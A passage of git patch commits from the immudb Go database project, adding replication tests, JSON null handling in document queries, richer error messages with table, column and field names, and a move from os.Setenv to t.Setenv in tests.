0}, + }, + }) + require.NoError(t, err) + + err = primaryClient.CloseSession(context.Background()) + require.NoError(t, err) + + err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "primarydb") + require.NoError(t, err) + + defer primaryClient.CloseSession(context.Background()) + + err = primaryClient.CreateUser(context.Background(), []byte("replicator"), []byte("replicator1Pwd!"), auth.PermissionAdmin, "primarydb") + require.NoError(t, err) + + err = primaryClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{Active: true, Username: "replicator"}) + require.NoError(t, err) + + // init replica client + replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port + + replicaOpts := ic.DefaultOptions(). + WithDir(t.TempDir()). + WithPort(replicaPort) + + replicaClient := ic.NewClient().WithOptions(replicaOpts) + require.NoError(t, err) + + err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + require.NoError(t, err) + + // create database as replica in replica server + _, err = replicaClient.CreateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ + ReplicationSettings: &schema.ReplicationNullableSettings{ + Replica: &schema.NullableBool{Value: true}, + SyncReplication: &schema.NullableBool{Value: false}, + PrimaryDatabase: &schema.NullableString{Value: "primarydb"}, + PrimaryHost: &schema.NullableString{Value: "127.0.0.1"}, + PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, + PrimaryUsername: &schema.NullableString{Value: "replicator"}, + PrimaryPassword: &schema.NullableString{Value: "replicator1Pwd!"}, + }, + }) + require.NoError(t, err) + + time.Sleep(1 * time.Second) + + err = replicaClient.CloseSession(context.Background()) + require.NoError(t, err) + + err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "replicadb") + require.NoError(t, err) + + keyCount := 100 + + for i := 0; i < keyCount; i++ { + ei := keyCount + i + + _, err = primaryClient.Set(context.Background(), []byte(fmt.Sprintf("key%d", ei)), []byte(fmt.Sprintf("value%d", ei))) + require.NoError(t, err) + } + + err = primaryClient.CloseSession(context.Background()) + require.NoError(t, err) + + time.Sleep(1 * time.Second) + + //keys should exist in replicadb@replica" + for i := 0; i < keyCount; i++ { + ei := keyCount + i + + _, err = replicaClient.Get(context.Background(), []byte(fmt.Sprintf("key%d", ei))) + require.NoError(t, err) + } + + err = replicaClient.CloseSession(context.Background()) + require.NoError(t, err) + + replicaServer.Stop() + primaryServer.Stop() +} + func TestReplicationTxDiscarding(t *testing.T) { //init primary server primaryDir := t.TempDir() From c8635d22f1540a490b1b14146144f37137e0b6cf Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 24 Jul 2023 10:55:23 -0300 Subject: [PATCH 0702/1062] chore(pkg/client): use buf for msg exchange Signed-off-by: Jeronimo Irazabal --- pkg/client/streams_integration_test.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/pkg/client/streams_integration_test.go b/pkg/client/streams_integration_test.go index 51f2908045..6236d6de60 100644 --- a/pkg/client/streams_integration_test.go +++ b/pkg/client/streams_integration_test.go @@ -96,7 +96,7 @@ func TestImmuServer_SimpleSetGetManagedStream(t *testing.T) { s, err := cli.streamSet(ctx) require.NoError(t, err) - kvss := stream.NewKvStreamSender(stream.NewMsgSender(s, cli.Options.StreamChunkSize)) + kvss := stream.NewKvStreamSender(stream.NewMsgSender(s, make([]byte, cli.Options.StreamChunkSize))) err = kvss.Send(kvs[0]) require.NoError(t, err) @@ -112,7 +112,7 @@ func TestImmuServer_MultiSetGetManagedStream(t *testing.T) { s1, err := cli.streamSet(ctx) require.NoError(t, err) - kvs := stream.NewKvStreamSender(stream.NewMsgSender(s1, cli.Options.StreamChunkSize)) + kvs := stream.NewKvStreamSender(stream.NewMsgSender(s1, make([]byte, cli.Options.StreamChunkSize))) key := []byte("key1") val := []byte("val1") @@ -138,7 +138,7 @@ func TestImmuServer_MultiSetGetManagedStream(t *testing.T) { s2, err := cli.streamSet(ctx) require.NoError(t, err) - kvs2 := stream.NewKvStreamSender(stream.NewMsgSender(s2, cli.Options.StreamChunkSize)) + kvs2 := stream.NewKvStreamSender(stream.NewMsgSender(s2, make([]byte, cli.Options.StreamChunkSize))) key2 := []byte("key2") val2 := []byte("val2") @@ -164,7 +164,7 @@ func TestImmuServer_MultiSetGetManagedStream(t *testing.T) { s3, err := cli.streamSet(ctx) require.NoError(t, err) - kvs3 := stream.NewKvStreamSender(stream.NewMsgSender(s3, cli.Options.StreamChunkSize)) + kvs3 := stream.NewKvStreamSender(stream.NewMsgSender(s3, make([]byte, cli.Options.StreamChunkSize))) key3 := []byte("key3") val3 := []byte("val3") From 91c79c4bc953c04348b9bb50f4b222924cf91b45 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 27 Jul 2023 11:00:26 -0300 Subject: [PATCH 0703/1062] chore(pkg/client): add setAll to immuclient mock Signed-off-by: Jeronimo Irazabal --- pkg/client/clienttest/immuclient_mock.go | 5 +++++ pkg/client/clienttest/immuclient_mock_test.go | 6 ++++++ 2 files changed, 11 insertions(+) diff --git a/pkg/client/clienttest/immuclient_mock.go b/pkg/client/clienttest/immuclient_mock.go index b465b52375..24df5edf88 100644 --- a/pkg/client/clienttest/immuclient_mock.go +++ b/pkg/client/clienttest/immuclient_mock.go @@ -47,6 +47,7 @@ type ImmuClientMock struct { VerifiedGetAtF func(context.Context, []byte, uint64) (*schema.Entry, error) VerifiedSetF func(context.Context, []byte, []byte) (*schema.TxHeader, error) SetF func(context.Context, []byte, []byte) (*schema.TxHeader, error) + SetAllF func(context.Context, *schema.SetRequest) (*schema.TxHeader, error) SetReferenceF func(context.Context, []byte, []byte, uint64) (*schema.TxHeader, error) VerifiedSetReferenceF func(context.Context, []byte, []byte, uint64) (*schema.TxHeader, error) ZAddF func(context.Context, []byte, float64, []byte, uint64) (*schema.TxHeader, error) @@ -133,6 +134,10 @@ func (icm *ImmuClientMock) Set(ctx context.Context, key []byte, value []byte) (* return icm.SetF(ctx, key, value) } +func (icm *ImmuClientMock) SetAll(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { + return icm.SetAllF(ctx, req) +} + // SetReference ... func (icm *ImmuClientMock) SetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) { return icm.SetReferenceF(ctx, key, referencedKey, 0) diff --git a/pkg/client/clienttest/immuclient_mock_test.go b/pkg/client/clienttest/immuclient_mock_test.go index f6c6beb6c0..e9fb41fd8d 100644 --- a/pkg/client/clienttest/immuclient_mock_test.go +++ b/pkg/client/clienttest/immuclient_mock_test.go @@ -69,6 +69,9 @@ func TestImmuClientMock(t *testing.T) { SetF: func(context.Context, []byte, []byte) (*schema.TxHeader, error) { return nil, errSet }, + SetAllF: func(context.Context, *schema.SetRequest) (*schema.TxHeader, error) { + return nil, errSet + }, VerifiedSetReferenceF: func(context.Context, []byte, []byte, uint64) (*schema.TxHeader, error) { return nil, errVerifiedReference }, @@ -107,6 +110,9 @@ func TestImmuClientMock(t *testing.T) { _, err = icm.Set(context.Background(), nil, nil) require.ErrorIs(t, err, errSet) + _, err = icm.SetAll(context.Background(), nil) + require.ErrorIs(t, err, errSet) + _, err = icm.VerifiedSetReference(context.Background(), nil, nil) require.ErrorIs(t, err, errVerifiedReference) From b645498f02df57603b5f344e47f5495246f8ce99 Mon Sep 17 00:00:00 2001 From: tomekkolo <38069337+tomekkolo@users.noreply.github.com> Date: Sun, 30 Jul 2023 00:42:20 +0200 Subject: [PATCH 0704/1062] Support json null in docs --- embedded/document/type_conversions.go | 5 +++ embedded/document/type_conversions_test.go | 42 +++++++++++++++++++++- 2 files changed, 46 insertions(+), 1 deletion(-) diff --git a/embedded/document/type_conversions.go b/embedded/document/type_conversions.go index b56fc0ffcb..769c2a2d03 100644 --- a/embedded/document/type_conversions.go +++ b/embedded/document/type_conversions.go @@ -26,12 +26,17 @@ import ( ) var structValueToSqlValue = func(value *structpb.Value, sqlType sql.SQLValueType) (sql.ValueExp, error) { + if _, ok := value.GetKind().(*structpb.Value_NullValue); ok { + return &sql.NullValue{}, nil + } + switch sqlType { case sql.VarcharType: _, ok := value.GetKind().(*structpb.Value_StringValue) if !ok { return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } + return sql.NewVarchar(value.GetStringValue()), nil case sql.IntegerType: _, ok := value.GetKind().(*structpb.Value_NumberValue) diff --git a/embedded/document/type_conversions_test.go b/embedded/document/type_conversions_test.go index 51cac54c93..424de49624 100644 --- a/embedded/document/type_conversions_test.go +++ b/embedded/document/type_conversions_test.go @@ -35,6 +35,14 @@ func TestStructValueToSqlValue(t *testing.T) { require.NoError(t, err, "Expected no error for VarcharType") require.Equal(t, sql.NewVarchar("test"), result, "Expected Varchar value") + // Test case for VarcharType with NULL value + value = &structpb.Value{ + Kind: &structpb.Value_NullValue{}, + } + result, err = structValueToSqlValue(value, sql.VarcharType) + require.NoError(t, err, "Expected no error for VarcharType with NULL value") + require.Equal(t, &sql.NullValue{}, result, "Expected NULL value") + // Test case for IntegerType value = &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 42}, @@ -43,6 +51,14 @@ func TestStructValueToSqlValue(t *testing.T) { require.NoError(t, err, "Expected no error for IntegerType") require.Equal(t, sql.NewInteger(42), result, "Expected Integer value") + // Test case for IntegerType with NULL value + value = &structpb.Value{ + Kind: &structpb.Value_NullValue{}, + } + result, err = structValueToSqlValue(value, sql.IntegerType) + require.NoError(t, err, "Expected no error for IntegerType with NULL value") + require.Equal(t, &sql.NullValue{}, result, "Expected NULL value") + // Test case for BLOBType value = &structpb.Value{ Kind: &structpb.Value_StringValue{StringValue: "1234"}, @@ -54,6 +70,14 @@ func TestStructValueToSqlValue(t *testing.T) { expectedBlob := sql.NewBlob(docID[:]) require.Equal(t, expectedBlob, result, "Expected Blob value") + // Test case for BLOBType with NULL value + value = &structpb.Value{ + Kind: &structpb.Value_NullValue{}, + } + result, err = structValueToSqlValue(value, sql.BLOBType) + require.NoError(t, err, "Expected no error for BLOBType with NULL value") + require.Equal(t, &sql.NullValue{}, result, "Expected NULL value") + // Test case for Float64Type value = &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 3.14}, @@ -62,6 +86,14 @@ func TestStructValueToSqlValue(t *testing.T) { require.NoError(t, err, "Expected no error for Float64Type") require.Equal(t, sql.NewFloat64(3.14), result, "Expected Float64 value") + // Test case for Float64Type with NULL value + value = &structpb.Value{ + Kind: &structpb.Value_NullValue{}, + } + result, err = structValueToSqlValue(value, sql.Float64Type) + require.NoError(t, err, "Expected no error for Float64Type with NULL value") + require.Equal(t, &sql.NullValue{}, result, "Expected NULL value") + // Test case for BooleanType value = &structpb.Value{ Kind: &structpb.Value_BoolValue{BoolValue: true}, @@ -70,10 +102,18 @@ func TestStructValueToSqlValue(t *testing.T) { require.NoError(t, err, "Expected no error for BooleanType") require.Equal(t, sql.NewBool(true), result, "Expected Boolean value") - // Test case for unsupported type + // Test case for BooleanType with NULL value value = &structpb.Value{ Kind: &structpb.Value_NullValue{}, } + result, err = structValueToSqlValue(value, sql.BooleanType) + require.NoError(t, err, "Expected no error for BooleanType with NULL value") + require.Equal(t, &sql.NullValue{}, result, "Expected NULL value") + + // Test case for unsupported type + value = &structpb.Value{ + Kind: &structpb.Value_ListValue{}, + } result, err = structValueToSqlValue(value, "datetime") require.ErrorIs(t, err, ErrUnsupportedType, "Expected error for unsupported type") require.Nil(t, result, "Expected nil result for unsupported type") From d02c8b882a55e082a26264158e72af9c12caeafe Mon Sep 17 00:00:00 2001 From: tomekkolo <38069337+tomekkolo@users.noreply.github.com> Date: Sun, 30 Jul 2023 18:16:00 +0200 Subject: [PATCH 0705/1062] support for querying --- embedded/document/engine_test.go | 99 ++++++++++++++++++++++----- embedded/document/type_conversions.go | 2 +- embedded/sql/stmt.go | 4 ++ 3 files changed, 86 insertions(+), 19 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 2277242020..4041127ae8 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -590,10 +590,15 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) // add documents to collection - for i := 1.0; i <= 10; i++ { + for i := 1.0; i <= 11; i++ { _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "pincode": structpb.NewNumberValue(i), + "pincode": func() *structpb.Value { + if i == 11 { + return structpb.NewNullValue() + } + return structpb.NewNumberValue(i) + }(), "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), "address": structpb.NewStructValue(&structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -633,13 +638,13 @@ func TestQueryDocuments(t *testing.T) { _, err = reader.ReadN(ctx, 0) require.ErrorIs(t, err, ErrIllegalArguments) - docs, err := reader.ReadN(ctx, 10) + docs, err := reader.ReadN(ctx, 11) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Len(t, docs, 9) + require.Len(t, docs, 10) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) - require.EqualValues(t, 9, count) + require.EqualValues(t, 10, count) }) t.Run("test query nested with != operator", func(t *testing.T) { @@ -662,13 +667,13 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() - docs, err := reader.ReadN(ctx, 10) + docs, err := reader.ReadN(ctx, 11) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Len(t, docs, 9) + require.Len(t, docs, 10) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) - require.EqualValues(t, 9, count) + require.EqualValues(t, 10, count) }) t.Run("test query with < operator", func(t *testing.T) { @@ -691,13 +696,13 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() - docs, err := reader.ReadN(ctx, 10) + docs, err := reader.ReadN(ctx, 11) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Len(t, docs, 9) + require.Len(t, docs, 10) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) - require.EqualValues(t, 9, count) + require.EqualValues(t, 10, count) }) t.Run("test query with <= operator", func(t *testing.T) { @@ -720,13 +725,13 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() - docs, err := reader.ReadN(ctx, 10) + docs, err := reader.ReadN(ctx, 11) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Len(t, docs, 9) + require.Len(t, docs, 10) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) - require.EqualValues(t, 9, count) + require.EqualValues(t, 10, count) }) t.Run("test query with > operator", func(t *testing.T) { @@ -814,11 +819,11 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Len(t, docs, 8) + require.Len(t, docs, 9) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) - require.EqualValues(t, 8, count) + require.EqualValues(t, 9, count) }) t.Run("test group query with < operator", func(t *testing.T) { @@ -843,11 +848,11 @@ func TestQueryDocuments(t *testing.T) { docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Len(t, docs, 4) + require.Len(t, docs, 5) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) - require.EqualValues(t, 4, count) + require.EqualValues(t, 5, count) }) t.Run("query should fail with invalid field name", func(t *testing.T) { @@ -923,6 +928,64 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) require.EqualValues(t, 5, count) }) + + t.Run("test group query with IS NULL operator", func(t *testing.T) { + query := &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewNullValue(), + }, + }, + }, + }, + } + + reader, err := engine.GetDocuments(ctx, query, 0) + require.NoError(t, err) + defer reader.Close() + + docs, err := reader.ReadN(ctx, 11) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Len(t, docs, 1) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 1, count) + }) + + t.Run("test group query with IS NOT NULL operator", func(t *testing.T) { + query := &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_NE, + Value: structpb.NewNullValue(), + }, + }, + }, + }, + } + + reader, err := engine.GetDocuments(ctx, query, 0) + require.NoError(t, err) + defer reader.Close() + + docs, err := reader.ReadN(ctx, 11) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Len(t, docs, 10) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 10, count) + }) } func TestDocumentUpdate(t *testing.T) { diff --git a/embedded/document/type_conversions.go b/embedded/document/type_conversions.go index 769c2a2d03..8b9e7c9af3 100644 --- a/embedded/document/type_conversions.go +++ b/embedded/document/type_conversions.go @@ -27,7 +27,7 @@ import ( var structValueToSqlValue = func(value *structpb.Value, sqlType sql.SQLValueType) (sql.ValueExp, error) { if _, ok := value.GetKind().(*structpb.Value_NullValue); ok { - return &sql.NullValue{}, nil + return sql.NewNull(sql.AnyType), nil } switch sqlType { diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index ae803b3778..164ec0522c 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1412,6 +1412,10 @@ type TypedValue interface { IsNull() bool } +func NewNull(t SQLValueType) *NullValue { + return &NullValue{t: t} +} + type NullValue struct { t SQLValueType } From e7c7a53ce7cbabd30e739430f26753d62f991516 Mon Sep 17 00:00:00 2001 From: tomekkolo <38069337+tomekkolo@users.noreply.github.com> Date: Sun, 30 Jul 2023 20:20:55 +0200 Subject: [PATCH 0706/1062] fix tests --- embedded/document/type_conversions_test.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/embedded/document/type_conversions_test.go b/embedded/document/type_conversions_test.go index 424de49624..b0033e6134 100644 --- a/embedded/document/type_conversions_test.go +++ b/embedded/document/type_conversions_test.go @@ -41,7 +41,7 @@ func TestStructValueToSqlValue(t *testing.T) { } result, err = structValueToSqlValue(value, sql.VarcharType) require.NoError(t, err, "Expected no error for VarcharType with NULL value") - require.Equal(t, &sql.NullValue{}, result, "Expected NULL value") + require.Equal(t, sql.NewNull(sql.AnyType), result, "Expected NULL value") // Test case for IntegerType value = &structpb.Value{ @@ -57,7 +57,7 @@ func TestStructValueToSqlValue(t *testing.T) { } result, err = structValueToSqlValue(value, sql.IntegerType) require.NoError(t, err, "Expected no error for IntegerType with NULL value") - require.Equal(t, &sql.NullValue{}, result, "Expected NULL value") + require.Equal(t, sql.NewNull(sql.AnyType), result, "Expected NULL value") // Test case for BLOBType value = &structpb.Value{ @@ -76,7 +76,7 @@ func TestStructValueToSqlValue(t *testing.T) { } result, err = structValueToSqlValue(value, sql.BLOBType) require.NoError(t, err, "Expected no error for BLOBType with NULL value") - require.Equal(t, &sql.NullValue{}, result, "Expected NULL value") + require.Equal(t, sql.NewNull(sql.AnyType), result, "Expected NULL value") // Test case for Float64Type value = &structpb.Value{ @@ -92,7 +92,7 @@ func TestStructValueToSqlValue(t *testing.T) { } result, err = structValueToSqlValue(value, sql.Float64Type) require.NoError(t, err, "Expected no error for Float64Type with NULL value") - require.Equal(t, &sql.NullValue{}, result, "Expected NULL value") + require.Equal(t, sql.NewNull(sql.AnyType), result, "Expected NULL value") // Test case for BooleanType value = &structpb.Value{ @@ -108,7 +108,7 @@ func TestStructValueToSqlValue(t *testing.T) { } result, err = structValueToSqlValue(value, sql.BooleanType) require.NoError(t, err, "Expected no error for BooleanType with NULL value") - require.Equal(t, &sql.NullValue{}, result, "Expected NULL value") + require.Equal(t, sql.NewNull(sql.AnyType), result, "Expected NULL value") // Test case for unsupported type value = &structpb.Value{ From 2d19a2622f649a716fe573a7dc50df83b7caae8b Mon Sep 17 00:00:00 2001 From: tomekkolo <38069337+tomekkolo@users.noreply.github.com> Date: Mon, 31 Jul 2023 23:26:19 +0200 Subject: [PATCH 0707/1062] Add column and table to reported errors --- embedded/sql/stmt.go | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 164ec0522c..c7ab44bdfd 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -768,17 +768,17 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m _, err = valbuf.Write(b) if err != nil { - return err + return fmt.Errorf("%w; table: %s, column: %s", err, table.name, col.colName) } encVal, err := EncodeValue(rval, col.colType, col.MaxLen()) if err != nil { - return err + return fmt.Errorf("%w; table: %s, column: %s", err, table.name, col.colName) } _, err = valbuf.Write(encVal) if err != nil { - return err + return fmt.Errorf("%w; table: %s, column: %s", err, table.name, col.colName) } } From eb8ec62a645f6c111da0e5e5172b18c750c9e4fc Mon Sep 17 00:00:00 2001 From: tomekkolo <38069337+tomekkolo@users.noreply.github.com> Date: Mon, 31 Jul 2023 23:30:02 +0200 Subject: [PATCH 0708/1062] typo ; -> : --- embedded/sql/stmt.go | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index c7ab44bdfd..c5001e6103 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -768,17 +768,17 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m _, err = valbuf.Write(b) if err != nil { - return fmt.Errorf("%w; table: %s, column: %s", err, table.name, col.colName) + return fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) } encVal, err := EncodeValue(rval, col.colType, col.MaxLen()) if err != nil { - return fmt.Errorf("%w; table: %s, column: %s", err, table.name, col.colName) + return fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) } _, err = valbuf.Write(encVal) if err != nil { - return fmt.Errorf("%w; table: %s, column: %s", err, table.name, col.colName) + return fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) } } From 0ede732721dec111736051fbb0cc1e996e41b8a5 Mon Sep 17 00:00:00 2001 From: tomekkolo <38069337+tomekkolo@users.noreply.github.com> Date: Wed, 2 Aug 2023 11:58:14 +0200 Subject: [PATCH 0709/1062] Return also field name on conversions errors --- embedded/document/engine.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 04f451c807..0c92aa8df0 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -679,7 +679,7 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru rval, err := e.structValueFromFieldPath(doc, col.Name()) if err != nil && !errors.Is(err, ErrFieldDoesNotExist) { - return nil, err + return nil, fmt.Errorf("%w: field: %s", err, col.Name()) } if rval == nil { @@ -687,7 +687,7 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru } else { val, err := structValueToSqlValue(rval, col.Type()) if err != nil { - return nil, err + return nil, fmt.Errorf("%w: field: %s", err, col.Name()) } values[i] = val } From c0ebfdfc2bd9fa510a9c1e7ba6ae916e1cf24438 Mon Sep 17 00:00:00 2001 From: Eng Zer Jun Date: Wed, 2 Aug 2023 22:34:47 +0800 Subject: [PATCH 0710/1062] test: use `t.Setenv` to set env vars in tests This commit replaces `os.Setenv` with `t.Setenv` in tests. The environment variable is automatically restored to its original value when the test and all its subtests complete. Reference: https://pkg.go.dev/testing#T.Setenv Signed-off-by: Eng Zer Jun --- embedded/logger/memory_test.go | 5 +---- embedded/logger/simple_test.go | 34 ++++++++++++++++++++++------------ pkg/errors/errors_test.go | 23 +++++++---------------- pkg/errors/grpc_status_test.go | 4 +--- pkg/integration/error_test.go | 6 +----- 5 files changed, 32 insertions(+), 40 deletions(-) diff --git a/embedded/logger/memory_test.go b/embedded/logger/memory_test.go index 290df30793..180126b7b6 100644 --- a/embedded/logger/memory_test.go +++ b/embedded/logger/memory_test.go @@ -18,7 +18,6 @@ package logger_test import ( "fmt" - "os" "testing" "github.com/codenotary/immudb/embedded/logger" @@ -26,9 +25,7 @@ import ( ) func TestMemoryLogger(t *testing.T) { - - os.Setenv("LOG_LEVEL", "error") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "error") ml := logger.NewMemoryLogger() defer ml.Close() diff --git a/embedded/logger/simple_test.go b/embedded/logger/simple_test.go index be02371123..307587dd6d 100644 --- a/embedded/logger/simple_test.go +++ b/embedded/logger/simple_test.go @@ -20,15 +20,14 @@ import ( "bytes" "fmt" "io/ioutil" - "os" "testing" "github.com/stretchr/testify/require" ) func TestSimpleLogger(t *testing.T) { - os.Setenv("LOG_LEVEL", "error") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "error") + name := "test-simple-logger" outputWriter := bytes.NewBufferString("") sl := NewSimpleLogger(name, outputWriter) @@ -63,13 +62,24 @@ func TestSimpleLogger(t *testing.T) { func TestLogLevelFromEnvironment(t *testing.T) { defaultLevel := LogLevelFromEnvironment() require.Equal(t, LogInfo, defaultLevel) - defer os.Unsetenv("LOG_LEVEL") - os.Setenv("LOG_LEVEL", "error") - require.Equal(t, LogError, LogLevelFromEnvironment()) - os.Setenv("LOG_LEVEL", "warn") - require.Equal(t, LogWarn, LogLevelFromEnvironment()) - os.Setenv("LOG_LEVEL", "info") - require.Equal(t, LogInfo, LogLevelFromEnvironment()) - os.Setenv("LOG_LEVEL", "debug") - require.Equal(t, LogDebug, LogLevelFromEnvironment()) + + t.Run("error", func(t *testing.T) { + t.Setenv("LOG_LEVEL", "error") + require.Equal(t, LogError, LogLevelFromEnvironment()) + }) + + t.Run("warn", func(t *testing.T) { + t.Setenv("LOG_LEVEL", "warn") + require.Equal(t, LogWarn, LogLevelFromEnvironment()) + }) + + t.Run("info", func(t *testing.T) { + t.Setenv("LOG_LEVEL", "info") + require.Equal(t, LogInfo, LogLevelFromEnvironment()) + }) + + t.Run("debug", func(t *testing.T) { + t.Setenv("LOG_LEVEL", "debug") + require.Equal(t, LogDebug, LogLevelFromEnvironment()) + }) } diff --git a/pkg/errors/errors_test.go b/pkg/errors/errors_test.go index e3630e65b2..6445d28a3a 100644 --- a/pkg/errors/errors_test.go +++ b/pkg/errors/errors_test.go @@ -19,7 +19,6 @@ package errors_test import ( stdErrors "errors" "fmt" - "os" "testing" "github.com/codenotary/immudb/pkg/errors" @@ -28,8 +27,7 @@ import ( ) func Test_Immuerror(t *testing.T) { - os.Setenv("LOG_LEVEL", "debug") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "debug") cause := "cause error" err := errors.New(cause) @@ -41,12 +39,10 @@ func Test_Immuerror(t *testing.T) { require.ErrorIs(t, err, err.Cause()) require.Equal(t, err.RetryDelay(), int32(0)) require.NotNil(t, err.Stack()) - } func Test_WrappingError(t *testing.T) { - os.Setenv("LOG_LEVEL", "debug") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "debug") cause := "std error" err := errors.New(cause) @@ -65,8 +61,7 @@ func Test_WrappingError(t *testing.T) { } func Test_WrappingImmuerror(t *testing.T) { - os.Setenv("LOG_LEVEL", "debug") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "debug") cause := "cause error" err := errors.New(cause) @@ -83,8 +78,7 @@ func Test_WrappingImmuerror(t *testing.T) { } func Test_ImmuerrorIs(t *testing.T) { - os.Setenv("LOG_LEVEL", "debug") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "debug") cause := "cause error" err := errors.New(cause).WithCode(errors.CodInternalError) @@ -104,8 +98,7 @@ func Test_ImmuerrorIs(t *testing.T) { } func Test_CauseComparisonWrappedError(t *testing.T) { - os.Setenv("LOG_LEVEL", "debug") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "debug") cause := "std error" err := errors.New(cause) @@ -123,8 +116,7 @@ func Test_CauseComparisonWrappedError(t *testing.T) { } func Test_CauseComparisonError(t *testing.T) { - os.Setenv("LOG_LEVEL", "debug") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "debug") cause := "std error" err := errors.New(cause).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection) @@ -141,8 +133,7 @@ func Test_CauseComparisonError(t *testing.T) { } func Test_WrappingImmuerrorWithKnowCode(t *testing.T) { - os.Setenv("LOG_LEVEL", "debug") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "debug") cause := "cause error" err := errors.New(cause) diff --git a/pkg/errors/grpc_status_test.go b/pkg/errors/grpc_status_test.go index 080bd5a455..62836eb3b7 100644 --- a/pkg/errors/grpc_status_test.go +++ b/pkg/errors/grpc_status_test.go @@ -17,7 +17,6 @@ limitations under the License. package errors import ( - "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -59,8 +58,7 @@ func TestWrappedError_GRPCStatusEmptyCause(t *testing.T) { } func TestImmuError_GRPCStatusWithStack(t *testing.T) { - os.Setenv("LOG_LEVEL", "debug") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "debug") ie := &immuError{ code: "", diff --git a/pkg/integration/error_test.go b/pkg/integration/error_test.go index a47a8fce0c..e94b56ced1 100644 --- a/pkg/integration/error_test.go +++ b/pkg/integration/error_test.go @@ -18,7 +18,6 @@ package integration import ( "context" - "os" "testing" "github.com/codenotary/immudb/pkg/client" @@ -27,13 